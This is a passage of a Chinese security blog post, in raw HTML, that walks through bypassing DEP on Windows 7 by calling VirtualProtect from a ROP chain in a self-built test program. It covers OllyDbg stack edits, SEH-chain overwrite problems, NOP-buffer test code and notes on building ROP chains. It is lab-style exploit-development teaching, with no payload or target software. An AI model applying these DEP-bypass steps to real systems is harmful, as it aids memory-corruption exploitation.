style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u53ef\u83b7\u5f97\u4f20\u5165\u7684\u51fd\u6570\u53c2\u6570\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-5.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0a\u56fe\uff0c\u4e0d\u5de7\u7684\u662fshellcode\u8986\u76d6\u4e86SEH\u94fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u8fd9\u6837\u4f1a\u5bfc\u81f4\u4f20\u5165VirtualProtectEX\u51fd\u6570\u7684\u53c2\u6570\u4e0d\u6b63\u786e\uff0c\u8c03\u7528\u5931\u8d25\uff0c\u731c\u6d4b\u8c03\u7528VirtualProtectEX\u51fd\u6570\u7684\u8fd4\u56de\u503c\u4e3a0\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-6.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0a\u56fe\uff0c\u9a8c\u8bc1\u4e0a\u9762\u7684\u5224\u65ad\uff0cEAX\u5bc4\u5b58\u5668\u8868\u793a\u8fd4\u56de\u503c\uff0c\u8fd4\u56de\u503c\u4e3a0\uff0c\u4fee\u6539\u5185\u5b58\u5c5e\u6027\u5931\u8d25\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u89e3\u51b3\u601d\u8def\uff1a<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6211\u4eec\u9700\u8981\u6269\u5927\u6808\u7a7a\u95f4\uff0c\u5c06SEH\u94fe\u4e0b\u79fb\uff0c\u786e\u4fddshellcode\u4e0d\u4f1a\u8986\u76d6\u5230SEH\u94fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u89e3\u51b3\u65b9\u6cd5\uff1a<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4fee\u6539\u6e90\u4ee3\u7801\uff0c\u901a\u8fc7\u7533\u8bf7\u7a7a\u95f4\u7684\u65b9\u5f0f\u4e0b\u79fbSEH\u94fe\n\t<\/p>\n<h3 id=\"\u6d4b\u8bd55\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-11\"><\/span>\n\t\t\u6d4b\u8bd55\uff1a<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5173\u952e\u4ee3\u7801\u5982\u4e0b\uff1a\n\t<\/p>\n<div class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n<pre class=\"highlight\" style=\"box-sizing:border-box;margin-top:20px;margin-bottom:20px;padding:7px 7px 7px 10px;border:1px solid #DDDDDD;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;background-color:#EFEFEF;box-shadow:rgba(0, 0, 0, 0.0980392) 3px 3px;overflow:scroll;\"><code style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">int main()\n{\n\tprintf(\"1\\n\");\n\ttest();\n\tchar Buf[] = \n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\n\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\n\treturn 0;\n} <\/code><\/pre>\n<\/p><\/div>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u7f16\u8bd1\u7a0b\u5e8f\uff0c\u518d\u6b21\u653e\u5728OllyDbg\u4e2d\u8c03\u8bd5\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5355\u6b65\u8ddf\u8e2a\u5230CALL KERNELBA.VirtualProtectEX\uff0c\u67e5\u770b\u5806\u6808\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u56fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-7.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tSEH\u94fe\u6210\u529f\u201c\u4e0b\u79fb\u201d\uff0c\u4f4d\u4e8e\u9ad8\u5730\u5740\uff0c\u672a\u88abshellcode\u8986\u76d6\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6b64\u65f6\u4f20\u5165VirtualProtectEX\u51fd\u6570\u7684\u53c2\u6570\u6b63\u786e\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6309F8\u5355\u6b65\u6267\u884c\uff0c\u67e5\u770b\u7ed3\u679c\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-8.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0a\u56fe\uff0c\u8fd4\u56de\u503c\u4e3a0\uff0c\u4fee\u6539\u5185\u5b58\u5c5e\u6027\u4ecd\u5931\u8d25\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\tLastErr\u663e\u793a\u9519\u8bef\u4e3aERRPR_INVALID_ADDRESS\uff08000001E7\uff09\uff0c\u8868\u793a\u5730\u5740\u9519\u8bef\n\t<\/p>\n<h3 id=\"\u6d4b\u8bd56\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-12\"><\/span>\n\t\t\u6d4b\u8bd56\uff1a<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u67e5\u770b\u6b63\u5e38\u8c03\u7528\u51fd\u6570VirtualProtect()\u65f6\u7684\u5806\u6808\uff0c\u5bf9\u6bd4\u6d4b\u8bd55\uff0c\u5206\u6790\u5931\u8d25\u539f\u56e0\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6b63\u5e38\u8c03\u7528\u7684\u5b9e\u73b0\u4ee3\u7801\u5982\u4e0b\uff1a\n\t<\/p>\n<div class=\"highlighter-rouge\" style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n<pre class=\"highlight\" style=\"box-sizing:border-box;margin-top:20px;margin-bottom:20px;padding:7px 7px 7px 10px;border:1px solid #DDDDDD;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;background-color:#EFEFEF;box-shadow:rgba(0, 0, 0, 0.0980392) 3px 3px;overflow:scroll;\"><code style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:&quot;vertical-align:baseline;\">int main()\n{\n\n\tvoid *p=malloc(16);\n\tprintf(\"0x%08x\\n\",p);\n\tDWORD pflOldProtect;\n\tint x=VirtualProtect(p,4,0x40,&amp;pflOldProtect);\n\tprintf(\"%d\\n\",x);\n\treturn 0;\n} <\/code><\/pre>\n<\/p><\/div>\n<h3 id=\"\u6d4b\u8bd57\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-13\"><\/span>\n\t\t\u6d4b\u8bd57\uff1a<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u679c\u5c06\u8d77\u59cb\u5730\u5740\u4fee\u6539\u4e3a\u4e00\u4e2a\u4e0d\u80fd\u8bbf\u95ee\u7684\u5730\u5740\uff0c\u59820x40303020\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u7f16\u8bd1\u7a0b\u5e8f\uff0c\u653e\u5728OllyDbg\u4e2d\u8c03\u8bd5\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5355\u6b65\u8ddf\u8e2a\u5230CALL KERNELBA.VirtualProtectEX\uff0c\u67e5\u770b\u5806\u6808\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u683c\u5f0f\u5982\u56fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/2-9.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6309F8\u5355\u6b65\u6267\u884c\uff0c\u67e5\u770b\u7ed3\u679c\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u56fe\uff0c\u4ea7\u751f\u540c\u6837\u9519\u8bef\uff1aERRPR_INVALID_ADDRESS\uff08000001E7\uff09\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/3-1.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u731c\u6d4b\uff0cshellcode\u4f20\u5165\u7684\u8d77\u59cb\u5730\u5740\u6709\u95ee\u9898\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u7ee7\u7eed\u6211\u4eec\u7684\u6d4b\u8bd5\n\t<\/p>\n<h3 id=\"\u6d4b\u8bd58\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:20px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-14\"><\/span>\n\t\t\u6d4b\u8bd58<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u63a5\u7740\u6d4b\u8bd55\uff0c\u5355\u6b65\u8ddf\u8e2a\u5230CALL KERNELBA.VirtualProtectEX\uff0c\u5c1d\u8bd5\u4fee\u6539\u5806\u6808\u4e2d\u7684\u6570\u636e\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5c06\u5185\u5b58\u5730\u57400x0012FF2c\u4fee\u6539\u4e3a\u5f53\u524d\u5185\u5b58\u9875\u7684\u8d77\u59cb\u5730\u5740\uff0c\u53730x0012F000\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u56fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/3-2.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u6309F8\u5355\u6b65\u6267\u884c\uff0c\u67e5\u770b\u7ed3\u679c\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0b\u56fe\uff0c\u5bc4\u5b58\u5668EAX\u7684\u503c\u4e3a1\uff0c\u5373\u8fd4\u56de\u503c\u4e3a1\uff0c\u6210\u529f\u4fee\u6539\u5185\u5b58\u5c5e\u6027\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/3-3.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u63a5\u7740\u5411\u4e0b\u6267\u884c\uff0c\u5728CALL ESP\u7684\u4f4d\u7f6e\u6309\u4e0bF7\uff0c\u5355\u6b65\u6b65\u5165\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/3gstudent\/BlogPic\/master\/2017-3-10\/3-4.png\" alt=\"Alt text\" style=\"box-sizing:border-box;margin:0px;padding:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;max-width:100%;\" \/>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u5982\u4e0a\u56fe\uff0c\u53d1\u73b0PUSH 1;POP ECX\u6210\u529f\u6267\u884c\uff0c\u6d4b\u8bd5\u6210\u529f\uff0c\u6210\u529f\u901a\u8fc7VirtualProtect\u7ed5\u8fc7DEP\uff0c\u6267\u884c\u6570\u636e\u6bb5\u7684shellcode\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t<strong style=\"box-sizing:border-box;margin:0px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\u6ce8\uff1a<\/strong>\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0cVirtualProtectEX\u4e00\u6b21\u6700\u5927\u53ea\u80fd\u4fee\u65394096\u957f\u5ea6\u7684\u5185\u5b58(\u5373\u4e00\u4e2a\u5185\u5b58\u9875\u7684\u957f\u5ea6)\uff0c\u4e14\u4e0d\u80fd\u8de8\u9875\u4fee\u6539\uff0c\u5982\u679c\u8d8a\u754c\uff0c\u8fd4\u56de\u503c\u4e3a0\uff0c\u4fee\u6539\u5931\u8d25\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u901a\u8fc7C\u8c03\u7528\u51fd\u6570VirtualProtect\u4e0d\u5b58\u5728\u4e0a\u8ff0\u95ee\u9898\uff0c\u53ef\u8de8\u9875\uff0c\u957f\u5ea6\u5927\u4e8e4096\n\t<\/p>\n<h2 id=\"0x05-\u5c0f\u7ed3\" style=\"box-sizing:border-box;margin:1em 0px 15px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:24px;line-height:1.7;font-family:&quot;vertical-align:baseline;color:#222222;\"><span class=\"ez-toc-section\" id=\"i-15\"><\/span>\n\t\t0x05 \u5c0f\u7ed3<br \/>\n\t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<hr style=\"box-sizing:border-box;\" \/>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e3a\u4e86\u5728Win7\u4e0b\u642d\u5efa\u6d4b\u8bd5\u73af\u5883\uff0c\u5bf9VS2012\u7684\u7f16\u8bd1\u914d\u7f6e\u9700\u8981\u7279\u522b\u6ce8\u610f\uff0c\u591a\u91cd\u4fdd\u62a4\u5728\u63d0\u9ad8\u7a0b\u5e8f\u5b89\u5168\u6027\u7684\u540c\u65f6\u4e5f\u7ed9\u73af\u5883\u642d\u5efa\u5e26\u6765\u4e86\u9ebb\u70e6\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u4e0d\u540c\u7cfb\u7edf\u4e0b\u53ef\u4f9b\u4f7f\u7528\u7684\u66ff\u4ee3\u6307\u4ee4\u5f80\u5f80\u4e0d\u540c\uff0c\u9700\u8981\u4e0d\u65ad\u53d8\u6362\u601d\u8def\uff0c\u6784\u9020\u5408\u9002\u7684ROP\u94fe\n\t<\/p>\n<p style=\"box-sizing:border-box;margin-top:10px;margin-bottom:10px;padding:0px;border:0px;font-style:inherit;font-variant:inherit;font-weight:inherit;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">\n\t\t\u53e6\u5916\uff0cImmunity Debugger\u7684mona\u63d2\u4ef6\u53ef\u4e3aROP\u94fe\u7684\u7f16\u5199\u63d0\u4f9b\u4fbf\u5229\uff0c\u4f46\u8981\u6ce8\u610f\u5b58\u5728bug\u7684\u60c5\u51b5\uff0c\u9700\u8981\u66f4\u591a\u7684\u6d4b\u8bd5\u548c\u4f18\u5316\n\t<\/p>\n<p 